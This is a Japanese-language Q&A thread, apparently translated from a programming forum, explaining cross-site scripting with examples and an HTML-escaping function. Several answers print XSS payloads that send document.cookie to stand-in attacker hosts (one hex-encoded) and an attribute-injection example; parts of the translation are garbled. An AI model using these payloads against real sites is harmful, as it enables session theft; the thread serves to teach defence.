web-dev-qa-db-ja.com

XSSはどのように機能しますか?

XSSがどのように機能するかを平易な英語で説明できますか?たぶん例を挙げて。グーグルはあまり役に立ちませんでした。

34
Vicky

クロスサイトスクリプティングは基本的に、動的Webページのセキュリティの脆弱性であり、攻撃者が悪意のあるリンクを作成して、不要な実行可能JavaScriptをWebサイトに挿入する可能性があります。この脆弱性の最も一般的なケースは、GET変数がその内容をフィルタリングまたはチェックせずに出力またはエコーされる場合に発生します。

被害者がリンクをクリックすると、悪意のあるコードが被害者のCookieを別のサーバーに送信したり、影響を受けたサイトを変更してフォームを挿入したり、ユーザー名やパスワードを盗んだり、その他のフィッシング手法を利用したりする可能性があります。

悪意のあるリンクの例:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

悪意のあるコードを、たとえば16進数でエンコードすることも一般的です。

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
32
CMS

XSSの脆弱性は、アプリケーションの外部からの文字列がコードとして解釈される可能性がある場合は常に存在します。

たとえば、次のようにしてHTMLを生成している場合:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

次に、$myQueryParameter変数に<SCRIPT>タグが含まれている場合、コードを実行することになります。

入力がコードとして実行されないようにするには、escape contentを適切に実行する必要があります。

上記の問題は、$myQueryParameter変数にプレーンテキストが含まれていることを認識することで解決できますが、プレーンテキストをHTMLに入れて、それが機能することを期待することはできません。

したがって、プレーンテキストをHTMLに変換して、HTMLページに配置できるようにする必要があります。ある言語の文字列を別の言語に変換して埋め込むことができるようにするプロセスは、エスケープされています。

次のような関数を使用して、プレーンテキストをHTMLにエスケープできます。

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}
20
Mike Samuel

簡単な英語で

XSSは、スクリプト(JavaScriptコードを意味する)をWebページに挿入して、ブラウザーがコードを実行するようにする場合です。これは、Cookieやページ上のその他のデータを盗むために使用される可能性があるため、悪意があります。例えば:

検索ボックスのHTML:_<input value="*search value here*">_

ここで、" onmouseover="alert(1)を挿入すると、最終的なHTMLは<input value="" onmouseover="alert(1)">になります。マウスを検索ボックスに合わせると、「アラート」が実行されます。

「ウィキテキスト」内

クロスサイトスクリプティング(XSS)は、Webアプリケーションに通常見られるコンピュータセキュリティの脆弱性の一種です。 XSSを使用すると、攻撃者は他のユーザーが表示するWebページにクライアント側のスクリプトを挿入できます。クロスサイトスクリプティングの脆弱性は、同一生成元ポリシーなどのアクセス制御をバイパスするために攻撃者によって使用される可能性があります。

2
BillyBob

簡単な英語では[〜#〜] xss [〜#〜]は、攻撃者が悪意のあるスクリプトをフレームに入れてWebサイトを侵害する可能性があるセキュリティの脆弱性です。今それはどのように機能しますか?

[〜#〜] xss [〜#〜]には入力フィールドが必要であることがわかっているか、入力に使用されるGET変数と言えます。フィルタリングなしで、場合によってはフィルタリングなしで、ユーザーにエコーバックします。リクエスト後、コンテンツをユーザーに表示することは、ブラウザによる応答として受け入れられます(「ソースコード」)。 入力フィールドに何を書き込んだかを覚えておいてください。ソースコードの応答に表示されます。したがって、Web開発者が制限を行うことがあるため、確認する必要があります。警告ボックス。

最初に攻撃者である場合は、scriptタグを使用してxssの脆弱性を知る必要があります。

例:-alert( "test")

ここでalert()は、[OK]ボタンのあるポップアップボックスを作成するために使用され、角かっこに何を書き込んでも、画面にポップアップ表示されます。また、スクリプトタグは表示されません。

これで、攻撃者は悪意のあるスクリプトを作成してCookieを盗んだり、資格情報を盗んだりすることができます。

例:-hxxp://www.VulnerableSite.com/index.php?search = location.href = ' http://www.Yoursite.com/Stealer.php?cookie= ' + document.cookie;

ここであなたのサイトは攻撃者のサイトであり、攻撃者はdocument.cookieを使用して被害者のCookieを自分のサイトにリダイレクトできます。

それでおしまい。

ここではスクリプトタグは非表示です

1
Utkarsh Agrawal

XSSとは何か、そしてそれをPHP開発者としていくらか対処する方法についての記事を書きました。両方のタイプのXSS攻撃がどのように見えるかの例もあります(永続的対非永続的)持続的)。

XSS攻撃には2つのタイプがあります。

  1. 非永続的:これは、ターゲットページへのパラメーターの1つとしてスクリプトを埋め込む特別に細工されたURLになります。厄介なURLは、受信者をだましてクリックさせることを目的として、電子メールで送信できます。ターゲットページはパラメータを誤って処理し、元々URL文字列を介して渡されたコードを意図せずにクライアントのマシンに送信します。
  2. 永続的:この攻撃は、入力データを適切に処理せずにフォームデータをデータベースに保存するサイト上のページを使用します。悪意のあるユーザーは、クライアントのWebブラウザーで無意識のうちに実行される一般的なデータフィールド(姓など)の一部として厄介なスクリプトを埋め込む可能性があります。通常、厄介なスクリプトはデータベースに保存され、感染したページにクライアントがアクセスするたびに再実行されます。

詳細はこちら: http://www.thedablog.com/what-is-xss/

1
Jason Locke